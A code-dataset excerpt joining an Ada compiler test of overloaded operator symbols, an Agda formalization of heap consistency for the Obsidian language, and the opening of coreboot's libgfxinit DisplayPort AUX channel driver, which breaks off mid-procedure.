WITH REPORT; USE REPORT;
PROCEDURE C67002C IS
FUNCTION TWO_PARAMS (I1, I2 : INTEGER) RETURN CHARACTER IS
BEGIN
IF I1 > I2 THEN
RETURN 'G';
ELSE RETURN 'L';
END IF;
END TWO_PARAMS;
FUNCTION ONE_PARAM (I1 : INTEGER) RETURN CHARACTER IS
BEGIN
IF I1 < IDENT_INT(0) THEN
RETURN 'N';
ELSE RETURN 'P';
END IF;
END ONE_PARAM;
BEGIN
TEST ("C67002C", "USE OF OPERATOR SYMBOLS IN " &
"(OVERLOADED) FUNCTION SPECIFICATIONS");
-------------------------------------------------
DECLARE -- (A)
PACKAGE EQU IS
TYPE LP IS LIMITED PRIVATE;
FUNCTION "=" (LPA, LPB : LP) RETURN BOOLEAN;
PRIVATE
TYPE LP IS NEW INTEGER;
END EQU;
USE EQU;
LP1, LP2 : LP;
PACKAGE BODY EQU IS
FUNCTION "=" (LPA, LPB : LP) RETURN BOOLEAN IS
BEGIN
RETURN LPA > LPB;
END "=";
BEGIN
LP1 := LP (IDENT_INT (7));
LP2 := LP (IDENT_INT (8));
END EQU;
GENERIC
WITH FUNCTION "=" (LPA, LPB : LP) RETURN BOOLEAN;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (LP1 = LP2) OR NOT (LP2 = LP1) OR
(LP1 = LP1) OR (LP2 /= LP1) THEN
FAILED ("OVERLOADING OF ""="" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE EQUAL IS NEW PKG ("=" => EQU."=");
BEGIN -- (A)
NULL;
END; -- (A)
-------------------------------------------------
DECLARE -- (B)
GENERIC
WITH FUNCTION "AND" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) AND 1) /= 'G' OR
(5 AND 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""AND"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("AND" => TWO_PARAMS);
BEGIN -- (B)
NULL;
END; -- (B)
-------------------------------------------------
DECLARE -- (C)
GENERIC
WITH FUNCTION "OR" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) OR 1) /= 'G' OR
(5 OR 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""OR"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("OR" => TWO_PARAMS);
BEGIN -- (C)
NULL;
END; -- (C)
-------------------------------------------------
DECLARE -- (D)
GENERIC
WITH FUNCTION "XOR" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) XOR 1) /= 'G' OR
(5 XOR 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""XOR"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("XOR" => TWO_PARAMS);
BEGIN -- (D)
NULL;
END; -- (D)
-------------------------------------------------
DECLARE -- (E)
GENERIC
WITH FUNCTION "<" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) < 1) /= 'G' OR
(5 < 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""<"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("<" => TWO_PARAMS);
BEGIN -- (E)
NULL;
END; -- (E)
-------------------------------------------------
DECLARE -- (F)
GENERIC
WITH FUNCTION "<=" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) <= 1) /= 'G' OR
(5 <= 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""<="" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("<=" => TWO_PARAMS);
BEGIN -- (F)
NULL;
END; -- (F)
-------------------------------------------------
DECLARE -- (G)
GENERIC
WITH FUNCTION ">" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) > 1) /= 'G' OR
(5 > 10) /= 'L' THEN
FAILED ("OVERLOADING OF "">"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG (">" => TWO_PARAMS);
BEGIN -- (G)
NULL;
END; -- (G)
-------------------------------------------------
DECLARE -- (H)
GENERIC
WITH FUNCTION ">=" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) >= 1) /= 'G' OR
(5 >= 10) /= 'L' THEN
FAILED ("OVERLOADING OF "">="" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG (">=" => TWO_PARAMS);
BEGIN -- (H)
NULL;
END; -- (H)
-------------------------------------------------
DECLARE -- (I)
GENERIC
WITH FUNCTION "&" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) & 1) /= 'G' OR
(5 & 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""&"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("&" => TWO_PARAMS);
BEGIN -- (I)
NULL;
END; -- (I)
-------------------------------------------------
DECLARE -- (J)
GENERIC
WITH FUNCTION "*" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) * 1) /= 'G' OR
(5 * 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""*"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("*" => TWO_PARAMS);
BEGIN -- (J)
NULL;
END; -- (J)
-------------------------------------------------
DECLARE -- (K)
GENERIC
WITH FUNCTION "/" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) / 1) /= 'G' OR
(5 / 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""/"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("/" => TWO_PARAMS);
BEGIN -- (K)
NULL;
END; -- (K)
-------------------------------------------------
DECLARE -- (L)
GENERIC
WITH FUNCTION "MOD" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) MOD 1) /= 'G' OR
(5 MOD 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""MOD"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("MOD" => TWO_PARAMS);
BEGIN -- (L)
NULL;
END; -- (L)
-------------------------------------------------
DECLARE -- (M)
GENERIC
WITH FUNCTION "REM" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) REM 1) /= 'G' OR
(5 REM 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""REM"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("REM" => TWO_PARAMS);
BEGIN -- (M)
NULL;
END; -- (M)
-------------------------------------------------
DECLARE -- (N)
GENERIC
WITH FUNCTION "**" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) ** 1) /= 'G' OR
(5 ** 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""**"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("**" => TWO_PARAMS);
BEGIN -- (N)
NULL;
END; -- (N)
-------------------------------------------------
DECLARE -- (O)
GENERIC
WITH FUNCTION "+" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) + 1) /= 'G' OR
(5 + 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""+"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("+" => TWO_PARAMS);
BEGIN -- (O)
NULL;
END; -- (O)
-------------------------------------------------
DECLARE -- (P)
GENERIC
WITH FUNCTION "-" (I1, I2 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (IDENT_INT (10) - 1) /= 'G' OR
(5 - 10) /= 'L' THEN
FAILED ("OVERLOADING OF ""-"" OPERATOR DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("-" => TWO_PARAMS);
BEGIN -- (P)
NULL;
END; -- (P)
-------------------------------------------------
DECLARE -- (Q)
GENERIC
WITH FUNCTION "+" (I1 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (+ IDENT_INT(25) /= 'P') OR
(+ (0-25) /= 'N') THEN
FAILED ("OVERLOADING OF ""+"" " &
"OPERATOR (ONE OPERAND) DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("+" => ONE_PARAM);
BEGIN -- (Q)
NULL;
END; -- (Q)
-------------------------------------------------
DECLARE -- (R)
GENERIC
WITH FUNCTION "-" (I1 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (- IDENT_INT(25) /= 'P') OR
(- (0-25) /= 'N') THEN
FAILED ("OVERLOADING OF ""-"" " &
"OPERATOR (ONE OPERAND) DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("-" => ONE_PARAM);
BEGIN -- (R)
NULL;
END; -- (R)
-------------------------------------------------
DECLARE -- (S)
GENERIC
WITH FUNCTION "NOT" (I1 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (NOT IDENT_INT(25) /= 'P') OR
(NOT (0-25) /= 'N') THEN
FAILED ("OVERLOADING OF ""NOT"" " &
"OPERATOR (ONE OPERAND) DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("NOT" => ONE_PARAM);
BEGIN -- (S)
NULL;
END; -- (S)
-------------------------------------------------
DECLARE -- (T)
GENERIC
WITH FUNCTION "ABS" (I1 : INTEGER) RETURN CHARACTER;
PACKAGE PKG IS
END PKG;
PACKAGE BODY PKG IS
BEGIN
IF (ABS IDENT_INT(25) /= 'P') OR
(ABS (0-25) /= 'N') THEN
FAILED ("OVERLOADING OF ""ABS"" " &
"OPERATOR (ONE OPERAND) DEFECTIVE");
END IF;
END PKG;
PACKAGE PACK IS NEW PKG ("ABS" => ONE_PARAM);
BEGIN -- (T)
NULL;
END; -- (T)
-------------------------------------------------
RESULT;
END C67002C;
|
formalization/heapPropertiesDefs.agda | ivoysey/Obsidian | 79 | 3146 | <filename>formalization/heapPropertiesDefs.agda
module HeapPropertiesDefs where
open import Silica
import Relation.Binary.PropositionalEquality as Eq
import Context
open import Data.List.Relation.Unary.All
import Relation.Unary
import Data.List.Properties
import Data.List
open import Data.Sum
open import Data.Maybe
open import Data.List.Membership.DecSetoid ≡-decSetoid
open import Data.List.Relation.Unary.Any
open import Data.Empty
open TypeEnvContext
--============= Consistency ==============
-- Relates typing environments and object references to lists of all types of possible references.
-- For now, this is ordered; perhaps that is too strong and I should use <Set> instead.
data _⟷_ : Type → Type → Set where
symCompat : ∀ {T₁ T₂ : Type}
→ T₁ ⟷ T₂
---------
→ T₂ ⟷ T₁
unownedCompat : ∀ {C C' : Id}
→ ∀ {perm perm' : Perm}
→ perm ≡ Unowned
→ C ≡ C'
--------------------------------------------------------------
→ contractType (tc C perm) ⟷ contractType (tc C' perm')
sharedCompat : ∀ {t t' : Tc}
→ Tc.perm t ≡ Shared
→ Tc.perm t' ≡ Shared
→ Tc.contractName t ≡ Tc.contractName t'
----------------
→ contractType t ⟷ contractType t'
voidCompat : ----------------------
base Void ⟷ base Void
booleanCompat : ----------------------
base Boolean ⟷ base Boolean
-- ============= DEFINITIONS OF HEAP CONSISTENCY ===============
ctxTypes : TypeEnv → ObjectRef → List Type
ctxTypes ∅ _ = []
ctxTypes (Δ , o' ⦂ T) o with o ≟ o'
... | yes eq = [ T ]
... | no nEq = ctxTypes Δ o
envTypesHelper : IndirectRefEnv → TypeEnv → ObjectRef → List Type
envTypesHelper IndirectRefContext.∅ Δ o = []
envTypesHelper (IndirectRefContext._,_⦂_ ρ l (objVal o')) Δ o with (o' ≟ o) | (TypeEnvContext.lookup Δ l)
... | yes _ | just T = (T ∷ (envTypesHelper ρ Δ o))
... | _ | _ = envTypesHelper ρ Δ o
envTypesHelper (IndirectRefContext._,_⦂_ ρ l v) Δ o = envTypesHelper ρ Δ o
makeEnvTypesList : RuntimeEnv → StaticEnv → ObjectRef → List Type
makeEnvTypesList Σ Δ o = envTypesHelper (RuntimeEnv.ρ Σ) (StaticEnv.locEnv Δ) o
-- The List IndirectRef is a list of locations that have already been used in previous calls (and are forbidden to be used again).
data EnvTypes : RuntimeEnv → StaticEnv → ObjectRef → List IndirectRef → List Type → Set where
envTypesConcatMatchFound : ∀ {R l T μ ρ φ ψ forbiddenRefs}
→ (Δ : StaticEnv)
→ (o : ObjectRef)
→ EnvTypes (re μ ρ φ ψ) Δ o (l ∷ forbiddenRefs) R
→ (StaticEnv.locEnv Δ) ∋ l ⦂ T
→ l ∉ forbiddenRefs
→ EnvTypes (re μ (ρ IndirectRefContext., l ⦂ (objVal o)) φ ψ) Δ o forbiddenRefs (T ∷ R)
envTypesConcatMatchNotFound : ∀ {R l μ ρ φ ψ forbiddenRefs}
→ (Δ : StaticEnv)
→ (o : ObjectRef)
→ EnvTypes (re μ ρ φ ψ) Δ o forbiddenRefs R
→ l ∉dom (StaticEnv.locEnv Δ)
→ EnvTypes (re μ (ρ IndirectRefContext., l ⦂ (objVal o)) φ ψ) Δ o forbiddenRefs R
envTypesConcatMismatch : ∀ {R l μ ρ φ ψ forbiddenRefs}
→ (Δ : StaticEnv)
→ (o o' : ObjectRef)
→ o ≢ o'
→ EnvTypes (re μ ρ φ ψ) Δ o forbiddenRefs R -- Mismatch in ρ, so keep looking in the rest of ρ
→ EnvTypes (re μ (ρ IndirectRefContext., l ⦂ (objVal o')) φ ψ) Δ o forbiddenRefs R
envTypesEmpty : ∀ {μ φ ψ Δ o forbiddenRefs}
→ EnvTypes (re μ Context.∅ φ ψ) Δ o forbiddenRefs []
record RefTypes (Σ : RuntimeEnv) (Δ : StaticEnv) (o : ObjectRef) : Set where
field
oTypesList : List Type -- Corresponds to types from the o's in Δ.
oTypes : ctxTypes (StaticEnv.objEnv Δ) o ≡ oTypesList
envTypesList : List Type
envTypes : EnvTypes Σ Δ o [] envTypesList
fieldTypesList : List Type -- Corresponds to types from fields inside μ
data IsConnectedTypeList : List Type → Set where
emptyTypeList : ∀ {D}
→ D ≡ []
----------
→ IsConnectedTypeList D
consTypeList : ∀ {T D}
→ All (λ T' → (T ⟷ T')) D
→ IsConnectedTypeList D
------------------------
→ IsConnectedTypeList (T ∷ D)
data IsConnectedEnvAndField (Σ : RuntimeEnv) (Δ : StaticEnv) (o : ObjectRef) : RefTypes Σ Δ o → Set where
envTypesConnected : (R : RefTypes Σ Δ o)
→ IsConnectedTypeList (RefTypes.envTypesList R)
→ IsConnectedTypeList (RefTypes.fieldTypesList R)
→ All (λ T → All (λ T' → T ⟷ T') (RefTypes.fieldTypesList R)) (RefTypes.envTypesList R) -- all of the l types are connected to all of the field types
----------------------------------------------
→ IsConnectedEnvAndField Σ Δ o R
envFieldInversion1 : ∀ {Σ Δ o R}
→ IsConnectedEnvAndField Σ Δ o R
→ IsConnectedTypeList (RefTypes.envTypesList R)
envFieldInversion1 (envTypesConnected R env f envField) = env
envFieldInversion2 : ∀ {Σ Δ o R}
→ IsConnectedEnvAndField Σ Δ o R
→ IsConnectedTypeList (RefTypes.fieldTypesList R)
envFieldInversion2 (envTypesConnected R env f envField) = f
envFieldInversion3 : ∀ {Σ Δ o R}
→ IsConnectedEnvAndField Σ Δ o R
→ All (λ T → All (λ T' → T ⟷ T') (RefTypes.fieldTypesList R)) (RefTypes.envTypesList R)
envFieldInversion3 (envTypesConnected R env f envField) = envField
data IsConnected (Σ : RuntimeEnv) (Δ : StaticEnv) (o : ObjectRef) : RefTypes Σ Δ o → Set where
isConnected : (R : RefTypes Σ Δ o)
→ IsConnectedTypeList (RefTypes.oTypesList R)
→ All (λ T → All (λ T' → T ⟷ T') (RefTypes.fieldTypesList R)) (RefTypes.oTypesList R) -- all of the o types are connected to all of the field types
→ All (λ T → All (λ T' → T ⟷ T') (RefTypes.envTypesList R)) (RefTypes.oTypesList R) -- all of the o types are connected to all of the l types
→ IsConnectedEnvAndField Σ Δ o R
----------------------------------------------
→ IsConnected Σ Δ o R
refFieldTypesHelper : ObjectRefEnv → StaticEnv → ObjectRef → List Type
refFieldTypesHelper ObjectRefContext.∅ Δ o = []
refFieldTypesHelper (ObjectRefContext._,_⦂_ μ o' obj) Δ o = refFieldTypesHelper μ Δ o -- TODO; this is bogus!
refFieldTypes : RuntimeEnv → StaticEnv → ObjectRef → List Type
refFieldTypes Σ Δ o = refFieldTypesHelper (RuntimeEnv.μ Σ) Δ o
-- ================================ OVERALL HEAP CONSISTENCY ===========================
data ReferenceConsistency : RuntimeEnv → StaticEnv → ObjectRef → Set where
referencesConsistent : ∀ {Σ : RuntimeEnv}
→ ∀ {Δ : StaticEnv}
→ ∀ {o : ObjectRef}
→ ∃[ RT ] (IsConnected Σ Δ o RT)
-- TODO: add subtype constraint: C <: (refTypes Σ Δ o)
---------------------------
→ ReferenceConsistency Σ Δ o
-- Inversion for reference consistency: connectivity
referencesConsistentImpliesConnectivity : ∀ {Σ Δ o}
→ ReferenceConsistency Σ Δ o
→ ∃[ RT ] (IsConnected Σ Δ o RT)
referencesConsistentImpliesConnectivity (referencesConsistent ic) = ic
------------ Global Consistency -----------
-- I'm going to need the fact that if an expression typechecks, and I find a location in it, then the location can be looked
-- up in the runtime environment. But every location in the expression has to also be in the typing context, so I can state this
-- without talking about expressions at all.
data _&_ok : RuntimeEnv → StaticEnv → Set where
ok : ∀ {Σ : RuntimeEnv}
→ ∀ (Δ : StaticEnv)
→ (∀ (l : IndirectRef) → ((StaticEnv.locEnv Δ) ∋ l ⦂ base Void → (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ voidVal)))
→ (∀ (l : IndirectRef) → ((StaticEnv.locEnv Δ) ∋ l ⦂ base Boolean → ∃[ b ] (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ boolVal b)))
→ (∀ (l : IndirectRef)
→ ∀ (T : Tc)
→ (StaticEnv.locEnv Δ) ∋ l ⦂ (contractType T) -- If a location is in Δ and has contract reference type...
→ ∃[ o ] (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ objVal o × (o ObjectRefContext.∈dom (RuntimeEnv.μ Σ))) -- then location can be looked up in Σ...
)
→ (∀ o → o ObjectRefContext.∈dom (RuntimeEnv.μ Σ) → ReferenceConsistency Σ Δ o)
-- TODO: add remaining antecedents
---------------------------
→ Σ & Δ ok
-- Inversion for global consistency: reference consistency
refConsistency : ∀ {Σ : RuntimeEnv}
→ ∀ {Δ : StaticEnv}
→ ∀ {o : ObjectRef}
→ ∀ {l : IndirectRef}
→ Σ & Δ ok
→ (∀ o → o ObjectRefContext.∈dom RuntimeEnv.μ Σ → ReferenceConsistency Σ Δ o)
refConsistency (ok Δ _ _ _ rc) = rc
-- Inversion for global consistency : location lookup for a particular location
-- If l is in Δ and Σ & Δ ok, then l can be found in Σ.ρ.
locLookup : ∀ {Σ : RuntimeEnv}
→ ∀ {Δ : StaticEnv}
→ ∀ {l : IndirectRef}
→ ∀ {T : Tc}
→ Σ & Δ ok
→ (StaticEnv.locEnv Δ) ∋ l ⦂ (contractType T)
→ ∃[ o ] (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ objVal o × (o ObjectRefContext.∈dom (RuntimeEnv.μ Σ)))
locLookup (ok Δ _ _ lContainment rc) lInDelta@(Z {Δ'} {x} {contractType a}) = lContainment x a lInDelta
locLookup (ok Δ _ _ lContainment rc) lInDelta@(S {Δ'} {x} {y} {contractType a} {b} nEq xInRestOfDelta) = lContainment x a lInDelta
voidLookup : ∀ {Σ : RuntimeEnv}
→ ∀ {Δ : StaticEnv}
→ ∀ {l : IndirectRef}
→ Σ & Δ ok
→ (StaticEnv.locEnv Δ) ∋ l ⦂ base Void
→ (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ voidVal)
voidLookup (ok Δ voidContainment _ _ _) voidType@(Z {Δ'} {l} {a}) = voidContainment l voidType
voidLookup (ok Δ voidContainment _ _ _) voidType@(S {Δ'} {l} {y} {a} {b} nEq lInRestOfDelta) = voidContainment l voidType
boolLookup : ∀ {Σ : RuntimeEnv}
→ ∀ {Δ : StaticEnv}
→ ∀ {l : IndirectRef}
→ Σ & Δ ok
→ (StaticEnv.locEnv Δ) ∋ l ⦂ base Boolean
→ ∃[ b ] (RuntimeEnv.ρ Σ IndirectRefContext.∋ l ⦂ boolVal b)
boolLookup (ok Δ _ boolContainment _ _) boolType@(Z {Δ'} {l} {a}) = boolContainment l boolType
boolLookup (ok Δ _ boolContainment _ _) boolType@(S {Δ'} {l} {y} {a} {b} nEq lInRestOfDelta) = boolContainment l boolType
|
firmware/coreboot/3rdparty/libgfxinit/common/hw-gfx-gma-dp_aux_request.adb | fabiojna02/OpenCellular | 1 | 4570 | <filename>firmware/coreboot/3rdparty/libgfxinit/common/hw-gfx-gma-dp_aux_request.adb
--
-- Copyright (C) 2015-2016 secunet Security Networks AG
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
with HW.Time;
with HW.Debug;
with GNAT.Source_Info;
with HW.GFX.GMA.Config;
with HW.GFX.GMA.Registers;
with HW.GFX.GMA.Power_And_Clocks;
use type HW.Word8;
use type HW.GFX.GMA.Registers.Registers_Invalid_Index;
package body HW.GFX.GMA.DP_Aux_Request is
DP_AUX_CTL_SEND_BUSY : constant := 1 * 2 ** 31;
DP_AUX_CTL_DONE : constant := 1 * 2 ** 30;
DP_AUX_CTL_INTERRUPT_ON_DONE : constant := 1 * 2 ** 29;
DP_AUX_CTL_TIME_OUT_ERROR : constant := 1 * 2 ** 28;
DP_AUX_CTL_TIME_OUT_TIMER_MASK : constant := 3 * 2 ** 26;
DP_AUX_CTL_TIME_OUT_TIMER_400US : constant := 0 * 2 ** 26;
DP_AUX_CTL_TIME_OUT_TIMER_600US : constant := 1 * 2 ** 26;
DP_AUX_CTL_TIME_OUT_TIMER_800US : constant := 2 * 2 ** 26;
DP_AUX_CTL_TIME_OUT_TIMER_1600US : constant := 3 * 2 ** 26;
DP_AUX_CTL_RECEIVE_ERROR : constant := 1 * 2 ** 25;
DP_AUX_CTL_MESSAGE_SIZE_MASK : constant := 31 * 2 ** 20;
DP_AUX_CTL_MESSAGE_SIZE_SHIFT : constant := 2 ** 20;
DP_AUX_CTL_PRECHARGE_TIME_MASK : constant := 15 * 2 ** 16;
DP_AUX_CTL_PRECHARGE_TIME_SHIFT : constant := 2 ** 16;
DP_AUX_CTL_2X_BIT_CLOCK_DIV_MASK : constant := 2047 * 2 ** 0;
-- TODO: HSW/BDW with LPT-H might need a workaround for the 2x bit clock.
subtype DP_AUX_CTL_MESSAGE_SIZE_T is Natural range 1 .. 20;
function DP_AUX_CTL_MESSAGE_SIZE
(Message_Length : DP_AUX_CTL_MESSAGE_SIZE_T)
return Word32;
DDI_AUX_MUTEX_MUTEX_ENABLE : constant := 1 * 2 ** 31;
DDI_AUX_MUTEX_MUTEX_STATUS : constant := 1 * 2 ** 30;
type AUX_CH_Data_Regs is new Positive range 1 .. 5;
type AUX_CH_Data_Regs_Array is
array (AUX_CH_Data_Regs) of Registers.Registers_Index;
type AUX_CH_Registers is record
CTL : Registers.Registers_Index;
DATA : AUX_CH_Data_Regs_Array;
MUTEX : Registers.Registers_Invalid_Index;
end record;
type AUX_CH_Registers_Array is array (DP_Port) of AUX_CH_Registers;
AUX_CH : constant AUX_CH_Registers_Array :=
(if Config.Has_PCH_Aux_Channels then
AUX_CH_Registers_Array'
(DP_A => AUX_CH_Registers'
(CTL => Registers.DP_AUX_CTL_A,
DATA => AUX_CH_Data_Regs_Array'
(1 => Registers.DP_AUX_DATA_A_1,
2 => Registers.DP_AUX_DATA_A_2,
3 => Registers.DP_AUX_DATA_A_3,
4 => Registers.DP_AUX_DATA_A_4,
5 => Registers.DP_AUX_DATA_A_5),
MUTEX => Registers.Invalid_Register),
DP_B => AUX_CH_Registers'
(CTL => Registers.PCH_DP_AUX_CTL_B,
DATA => AUX_CH_Data_Regs_Array'
(1 => Registers.PCH_DP_AUX_DATA_B_1,
2 => Registers.PCH_DP_AUX_DATA_B_2,
3 => Registers.PCH_DP_AUX_DATA_B_3,
4 => Registers.PCH_DP_AUX_DATA_B_4,
5 => Registers.PCH_DP_AUX_DATA_B_5),
MUTEX => Registers.Invalid_Register),
DP_C => AUX_CH_Registers'
(CTL => Registers.PCH_DP_AUX_CTL_C,
DATA => AUX_CH_Data_Regs_Array'
(1 => Registers.PCH_DP_AUX_DATA_C_1,
2 => Registers.PCH_DP_AUX_DATA_C_2,
3 => Registers.PCH_DP_AUX_DATA_C_3,
4 => Registers.PCH_DP_AUX_DATA_C_4,
5 => Registers.PCH_DP_AUX_DATA_C_5),
MUTEX => Registers.Invalid_Register),
DP_D => AUX_CH_Registers'
(CTL => Registers.PCH_DP_AUX_CTL_D,
DATA => AUX_CH_Data_Regs_Array'
(1 => Registers.PCH_DP_AUX_DATA_D_1,
2 => Registers.PCH_DP_AUX_DATA_D_2,
3 => Registers.PCH_DP_AUX_DATA_D_3,
4 => Registers.PCH_DP_AUX_DATA_D_4,
5 => Registers.PCH_DP_AUX_DATA_D_5),
MUTEX => Registers.Invalid_Register))
else
AUX_CH_Registers_Array'
(DP_A => AUX_CH_Registers'
(CTL => Registers.DDI_AUX_CTL_A,
DATA => AUX_CH_Data_Regs_Array'
(1 => Registers.DDI_AUX_DATA_A_1,
2 => Registers.DDI_AUX_DATA_A_2,
3 => Registers.DDI_AUX_DATA_A_3,
4 => Registers.DDI_AUX_DATA_A_4,
5 => Registers.DDI_AUX_DATA_A_5),
MUTEX => Registers.DDI_AUX_MUTEX_A),
DP_B => AUX_CH_Registers'
(CTL => Registers.DDI_AUX_CTL_B,
DATA => AUX_CH_Data_Regs_Array'
(1 => Registers.DDI_AUX_DATA_B_1,
2 => Registers.DDI_AUX_DATA_B_2,
3 => Registers.DDI_AUX_DATA_B_3,
4 => Registers.DDI_AUX_DATA_B_4,
5 => Registers.DDI_AUX_DATA_B_5),
MUTEX => Registers.DDI_AUX_MUTEX_B),
DP_C => AUX_CH_Registers'
(CTL => Registers.DDI_AUX_CTL_C,
DATA => AUX_CH_Data_Regs_Array'
(1 => Registers.DDI_AUX_DATA_C_1,
2 => Registers.DDI_AUX_DATA_C_2,
3 => Registers.DDI_AUX_DATA_C_3,
4 => Registers.DDI_AUX_DATA_C_4,
5 => Registers.DDI_AUX_DATA_C_5),
MUTEX => Registers.DDI_AUX_MUTEX_C),
DP_D => AUX_CH_Registers'
(CTL => Registers.DDI_AUX_CTL_D,
DATA => AUX_CH_Data_Regs_Array'
(1 => Registers.DDI_AUX_DATA_D_1,
2 => Registers.DDI_AUX_DATA_D_2,
3 => Registers.DDI_AUX_DATA_D_3,
4 => Registers.DDI_AUX_DATA_D_4,
5 => Registers.DDI_AUX_DATA_D_5),
MUTEX => Registers.DDI_AUX_MUTEX_D)));
----------------------------------------------------------------------------
function DP_AUX_CTL_MESSAGE_SIZE
(Message_Length : DP_AUX_CTL_MESSAGE_SIZE_T)
return Word32
is
begin
return Word32 (Message_Length) * DP_AUX_CTL_MESSAGE_SIZE_SHIFT;
end DP_AUX_CTL_MESSAGE_SIZE;
----------------------------------------------------------------------------
procedure Aux_Request_Low
(Port : in DP_Port;
Request : in DP_Defs.Aux_Request;
Request_Length : in DP_Defs.Aux_Request_Length;
Response : out DP_Defs.Aux_Response;
Response_Length : out DP_Defs.Aux_Response_Length;
Success : out Boolean)
with
Global => (In_Out => Registers.Register_State,
Input => (Time.State, Config.Raw_Clock)),
Depends =>
((Registers.Register_State,
Response,
Response_Length,
Success)
=>
(Registers.Register_State,
Config.Raw_Clock,
Time.State,
Port,
Request,
Request_Length))
is
procedure Write_Data_Reg
(Register : in Registers.Registers_Index;
Buf : in DP_Defs.Aux_Request;
Length : in DP_Defs.Aux_Request_Length;
Offset : in DP_Defs.Aux_Request_Index)
is
Value : Word32;
Count : Natural;
begin
if Offset < Length then
if Length - Offset > 4 then
Count := 4;
else
Count := Length - Offset;
end if;
Value := 0;
for Idx in DP_Defs.Aux_Request_Index range 0 .. Count - 1 loop
Value := Value or
